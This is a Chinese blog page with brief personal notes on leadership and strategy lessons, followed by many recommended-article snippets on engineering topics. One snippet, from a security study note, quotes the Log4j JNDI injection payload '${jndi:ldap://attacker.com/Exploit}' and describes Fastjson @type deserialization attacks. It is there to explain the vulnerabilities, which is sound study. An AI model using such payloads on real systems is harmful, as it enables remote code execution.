墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
400+累计阅读
415平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
早期：做什么？
找你该干什么？你能干什么？你要干什么？有没有潜力拿到？
有哪几个可选方案，比较方案，选个好的方案？
中后期：不做什么？
收盘期：不做什么？尽量用少的资源把事办成。
只能有一个权力机构
兴衰、人性、权谋
将相和：
该争就争，不该争则退，并能推功揽过
不失态
怎么管理好胜之心？
给机会，创造机会
信任很难
体面，君子绝交，不出恶语
为什么进，为才能退
手不要太黑
能干的人，知进退的人少
功成身退：跟你关系融洽的走了，你也该走了。
大庭广众，夸属下，把做得好的地方，变成一种政策变成君（自己）的功劳
三人成虎、不信任是常态，名臣上面有一个名君
大庭广众，夸属下，而私下骂
听不同的声音：在位高权的时候
减少资源浪费，发辉资源最大的作用
战胜自己的惰性，保持饥饿提前是吃饱过。
如何保持饥饿？
1、保持精神病，偏执的倾向
2、立一个经过努力才能实现的flag
3、有所贪有所逼
讲个故事+问个问题+讲个笑话
远交近攻
Silvaco TCAD 2018安装后，如何配置TonyPlot 5.0.22.R并解决绘图报错？
本文详细介绍了在Windows系统上安装Silvaco TCAD 2018后，如何正确配置TonyPlot 5.0.22.R并解决常见的绘图报错问题。内容包括版本兼容性分析、环境变量设置、常见错误解决方案以及性能优化建议，帮助用户顺利完成仿真结果的可视化工作。
[学习笔记]超越超级大循环与原生RTOS：事件驱动架构如何改变嵌入式固件的可扩展性
RTC：事件处理器一旦开始，全部状态迁移、进出动作、输出事件必须全部执行完毕才返回；同一个组件，当前处理没结束，不会开始下一条事件。这不是架构给状态机额外施加的限制，这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断，状态机会停留在未定义的中间状态。RTC保证两次事件之间，状态机永远处于明确定义的合法状态，便于分析与测试。
NoUnityCN：绕过地域限制，从Unity官方CDN直链下载全版本编辑器
在软件开发和游戏制作领域，内容分发网络（CDN）是保障全球用户高速、稳定获取大型文件的核心基础设施。其原理是通过将资源缓存至遍布各地的边缘节点，使用户能从地理距离最近的服务器获取数据，从而显著提升下载速度并降低源站压力。这一技术对于需要频繁下载大型开发工具（如游戏引擎）的团队而言，价值在于能确保开发环境部署的一致性与效率，是构建自动化CI/CD流水线和团队协作的基础。然而，当开发者因网络策略或地域限制无法直接访问官方CDN时，获取安装文件便成为阻碍工作流的痛点。NoUnityCN项目正是针对此场景的工程实践
带着小白学习-微服务-6 实战：网关
地址栏输入：http://localhost:8088/goods/index，这时候就不是到8100端口去调用了，而是8088直接通过路由转发，分别到nacos对应的goods对应的服务中区调用。** 可以看出，这里将前面已经正常运行的server-store子工程（库存服务，服务提供方），server-goods子工程（商品服务，服务消费方）。（1）uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务；，网关是做路由转发，不是服务调用；
Fortran环境配置：VS2022+Intel oneAPI安装全流程指南
Fortran环境配置：VS2022+Intel oneAPI安装全流程指南
（最新更新!）2024全国大学生数学建模竞赛（国赛）B题决策优化+鲁棒模型完整建模全解全析
2024全国大学生数学建模竞赛（国赛）B题完整建模全解全析（已更新！）
Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入
本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行，攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制，诱导目标向恶意LDAP服务器请求并加载远程类，最终执行命令（如弹出计算器）。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性，当用户输入可控的{"@type":"com.xiaodi.Run"}时，自动加载并实例化恶
ASIC--DFT可测性设计工程师
DFT是什么？ DFT是design for test（可测性设计）的缩写，就是在芯片设计过程中，加入可测性逻辑。有的公司把该职位归到前端设计，有的归到中端实现。 DFT职位大多分布于规模较大的数字IC设计公司里，因为大公司对芯片品质要求高，而且规模越大，芯片越贵，DFT就越复杂越重要。DFT主要是通过在芯片中加入可测性逻辑，等芯片制造出来，在ATE（AutomaticTestEquipmen...
天线模块布局走线学习
天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时，器件封装应当尽量小，倾向于0402、0201等，可以减小由封装带来的寄生参数影响。
Qt C++ bridge模式（桥）
Bridge模式使得抽象和实现能够相对独立。 bridge.h #pragma once #include class CImplementor { public: virtual void operateImp() = 0; }; class CRectImplementor : public CImplementor { public: CR
【信息系统项目管理师】第18章：项目绩效域详解
(3)度量绩效域与规划绩效域、项目工作绩效域和交付绩效域的相互作用:1规划构成了 交付和规划比较的基础;项目绩效域共同构成了一个统一的整体，作为一个完整系统，在项目生命周期过程中运行，系统内的每个绩效域相互作用、相互关联和相互依赖，并协调一致、共同运作，支撑项目目标和价值 的实现。(5)开发方法和生命周期绩效域与其他绩效域的相互作用:开发方法和生命周期绩效域与干系人绩效域、规划绩效域、不确定性绩效域、交付绩效域、项目工作绩效域和团队绩效域相互作用。(2)项目工作绩效域的绩效要点包括:项目过程;
Java 多态 学习笔记
多态是面向对象编程的重要特性，指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”，结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展，如用Person p = new Student();统一处理各类人员注册，无需修改调用逻辑。但多态无法直接调用子类特有方法，需通过instanceof判断并强制转换。编译时看左边（类型），运行时看右边（实际对象），实现解耦与维护便利。
SAP物料主数据归档详解(物理删除)
顾问们的回答肯定的统一的不能，只能打上删除标记。物料设置好需要删除的物料号这里我们需要删除的物料是AG88，其中，若不选“考虑无删除标记的物料”，需要将需要归档的物料MM06打删除标记。平时在操作系统过程中经常会不小心创建出很多无用的物料主数据，但是系统只能通过MM06打上删除标记，但是物料最终在系统中还是可以查询到的。6、执行已设置变式的归档程序，执行完毕，点下图中的“Job”，每次执行完归档程序会产生两条作业。然后设置好开始的参数和假脱机的参数，三个都是绿灯就可以执行归档的操作，物理上删除物料主数据。
CMake学习
CMake如何编译成库？1. 为什么要有库？库就是预先写好，编译好的代码集合。存在的意义，1）避免重复造轮子和重复编译，库是，你的代码在编译时直接链接它，不需要把库的源码重新编译一遍，大大节省了编译时间。；2）：编译成库让别人可以直接调用我的函数，但看不到cpp源码，看不到里面的逻辑。3）：大项目可以拆分给不同的团队开发不同的库，最后拼在一起。静态库：就是在程序编译和链接阶段，把库里被用到的代码部分，像打包裹一样，直接复制粘贴到最终的可执行文件（如.exe或 Linux 下的无后缀文件）里面。
复分析 阿尔福斯(Ahlfors) 第三版答案 英文
答案分为十章，有部分习题没有答案，全英文复分析阿尔福斯(Ahlfors) 第三版答案
假人有限元模型
假人模型，车辆碰撞假人有限元模型，适合做乘员安全的研究者利用
焦点仿真学习记录：water_only 基线怎么搭、怎么验、怎么调
在纯水介质中搭建5阵元几何聚焦仿真，通过合理设置网格、介质参数、源延时与传感器区域，实现焦点理论位置的精准对齐。基于声速计算延时，验证焦点位置误差小于0.1 mm，峰值压力达1.2×10⁵ Pa，确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照，确保聚焦性能评估可量化。
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
MCP 学习总结：从理解协议到设计工具
MCP 为 AI 应用提供统一发现与调用外部能力的协议，区别于传统 HTTP API 与模型工具调用。它聚焦上下文交换，不替代模型逻辑或上下文管理。研发中需明确角色（Host/Client/Server），合理划分 Tools、Resources、Prompts，设计可被模型理解的工具契约，注重粒度拆分与幂等性，确保权限在执行端控制。通过小功能切入，验证正常与异常流程，逐步构建可协作、可维护的 AI 能力体系。
迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)
迈瑞BS系列全自动生化分析仪LIS协议接口手册，内含HL7和ASTM)
正则表达式学习笔记 02：基础语法
正则表达式是描述字符匹配规则的迷你语言，由普通字符和元字符组成。普通字符直接匹配自身，而元字符如.、*、+、^、$等具有特殊含义，用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类（如\d）、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意，若要匹配元字符本身，必须使用转义符\。例如，\.可匹配字面点号。
[LangChain] 学习笔记（08）：工具调用底层闭环与第三方搜索（Tavily）实战
大模型通过工具调用实现外部能力扩展：模型返回tool_calls，开发者本地执行后将结果以ToolMessage形式追加至对话历史，再由模型生成最终回答。关键闭环在于状态追加，否则会陷入死循环。借助LangChain生态如TavilySearch，可轻松接入联网搜索，突破知识时效限制。注意避免invalid_tool_call_id错误，确保消息历史完整；网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。
Axum 初步入门学习笔记
)自定义错误实现后，可以直接作为Result的ErrAxum 是一个构建在 Tokio、Tower、Hyper 之上的 Rust Web 框架，核心能力是：Router 路由、Extractor 提取器、Tower 中间件、IntoResponse 响应机制、State 共享状态。那张分层架构图是“地图”不是“说明书”：它帮你建立全局观，但 Service、Repository、数据库、Redis、MQ 都是你自己在 Handler 内部调用的业务/基础设施层，不是 Axum 自带的。
React 进阶 21 天学习计划
本学习计划专为有经验的 React 开发者设计，聚焦 React 19 新特性、性能优化与架构进阶。通过21天系统训练，掌握 use Hook、Server Components、Server Actions、状态管理选型（Zustand/Jotai/RTK）及 RSC 全栈开发，提升工程化能力与高级架构思维，实现从“会用”到“精通”的跃迁。
【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟
在下面去给他写中断子函数，他会在main中去到Timer0这个子函数当中去，再接着跳转回来。再TMOD上，这个是不可位寻址的，必须八位同时复制，如果同时使用定时器1和定时器0，先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉，我们去给他让他只去执行一部分。现在我们要去做中断了，改正之后的是这样，但其实是还有缺陷在的。寄存器是连接软硬件的媒介，我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式，M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。
扣子Coze学习笔记 02 · 智能体开发基础（视频9-15）
本模块系统讲解智能体开发全流程：从创建、模式选择（推荐单Agent自主规划）、参数调优（随机性、上下文轮数、回复长度）到提示词编写（CO-STAR框架+边界限制），强调“双向交互”与“持续学习”的核心价值。通过奶茶师傅类比，厘清智能体与自动化工具的本质区别。重点掌握系统提示词定义角色边界、用户提示词规范输入，并完成发布与开场白优化闭环。实操建议边学边调试，反复验证提示词边界，确保智能体稳定可用。
Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制
本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击，相比拼接写法更安全。Filter用于拦截请求与响应，实现权限控制、敏感词过滤等功能，具备初始化、过滤、销毁生命周期；如XssFilter拦截非法参数，AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化，如Session的创建与销毁，实现系统状态管理。三者协同提升Web应用的安全性与可维护性。
Git与GitHub系统学习｜本地Git工作模型：终端与进程、CWD、HEAD/Index/工作树及Git对象
从GitHub网页端走向本地Git，讲清终端、Shell、进程与工作目录，解释仓库发现、HEAD、Index和工作树，分析Commit/Tree/Blob引用、文件树与暂存机制，区分实测与教学示例。
GS-Playground：一种用于视觉感知机器人学习的高吞吐量、照片级逼真模拟器
论文：GS-Playground: A High-Throughput Photorealistic Simulator for Vision-Informed Robot Learning（arXiv 2604.25459，来自清华、Motphys、Dexmal、DISCOVER Robotics、港科大（广州）、北理工、Galbot、新加坡国立、哈工大（深圳）、西交、南大、上交和D-Robotics） GS-Playground 里“合并 GS 和 mesh”的方式更接近双表示 + 刚体绑定，不是联合优
STM32F103VET6高密度布线与铺铜优化学习笔记
完成STM32F103VET6开发板布线，设置导线间距为6mil，采用阻挡布线模式。优先短直走线信号线（如GPIO、RESET、WK_UP、LED、BOOT、晶振等），电源线（5V/3.3V）加粗以降低压降，地线配合铺铜形成完整回流路径。添加底层连接线及跨线，完成关键网络连通。进行整体铺铜，使用泪滴增强可靠性，设置30mil间距缝合孔，并通过过孔将底层与顶层铺铜连接，提升散热与电气性能。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
429
扫一扫
